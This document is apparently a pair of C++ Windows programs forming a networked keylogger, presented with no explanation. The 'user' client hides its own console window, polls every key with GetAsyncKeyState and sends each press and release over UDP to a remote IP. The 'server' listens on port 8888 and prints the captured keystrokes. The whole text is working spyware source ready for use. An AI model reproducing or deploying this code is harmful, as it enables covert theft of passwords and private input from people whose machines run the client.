server
#include <iostream>
#include <Windows.h>
#include <WinSock2.h>
#pragma comment(lib, "ws2_32.lib")
#define PORT 8888
int main() {
WSADATA wsaData;
SOCKET sockfd;
sockaddr_in serverAddr, clientAddr;
int clientAddrLen = sizeof(clientAddr);
char buffer[2] = { 0 };
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
std::cerr << "WSAStartup failed.\n";
return 1;
}
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == INVALID_SOCKET) {
std::cerr << "Socket creation failed.\n";
WSACleanup();
return 1;
}
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(PORT);
serverAddr.sin_addr.s_addr = INADDR_ANY;
if (bind(sockfd, (sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
std::cerr << "Socket bind failed.\n";
closesocket(sockfd);
WSACleanup();
return 1;
}
std::cout << "Server is listening...\n";
while (true) {
if (recvfrom(sockfd, buffer, sizeof(buffer), 0, (sockaddr*)&clientAddr, &clientAddrLen) != SOCKET_ERROR) {
if (isprint(buffer[0])) {
if (buffer[1] == 0) {
std::cout << "Key pressed: " << buffer[0] << " (Press)" << "\n";
} else {
std::cout << "Key pressed: " << buffer[0] << " (Release)" << "\n";
}
} else {
std::cout << "Key pressed: ASCII " << static_cast<int>(buffer[0]);
if (buffer[1] == 0) {
std::cout << " (Press)" << "\n";
} else {
std::cout << " (Release)" << "\n";
}
}
}
}
closesocket(sockfd);
WSACleanup();
return 0;
}
user
#include <iostream>
#include <Windows.h>
#include <WinSock2.h>
#pragma comment(lib, "ws2_32.lib")
#define PORT 8888
int main() {
WSADATA wsaData;
SOCKET sockfd;
sockaddr_in serverAddr;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
std::cerr << "WSAStartup failed.\n";
return 1;
}
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == INVALID_SOCKET) {
std::cerr << "Socket creation failed.\n";
WSACleanup();
return 1;
}
std::string serverIP;
std::cout << "Enter the IP address of the server: ";
std::cin >> serverIP;
ShowWindow(GetForegroundWindow(),0);
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(PORT);
serverAddr.sin_addr.s_addr = inet_addr(serverIP.c_str());
bool keyState[256] = { false };
while (true) {
for (int i = 0; i < 256; ++i) {
bool pressed = (GetAsyncKeyState(i) & 0x8000) != 0;
if (pressed != keyState[i]) {
char buffer[2] = { static_cast<char>(i), pressed ? 0 : 1 };
sendto(sockfd, buffer, sizeof(buffer), 0, (sockaddr*)&serverAddr, sizeof(serverAddr));
std::cout << "Key " << (pressed ? "pressed" : "released") << ": " << static_cast<char>(i) << std::endl;
}
keyState[i] = pressed;
}
Sleep(10);
}
closesocket(sockfd);
WSACleanup();
return 0;
}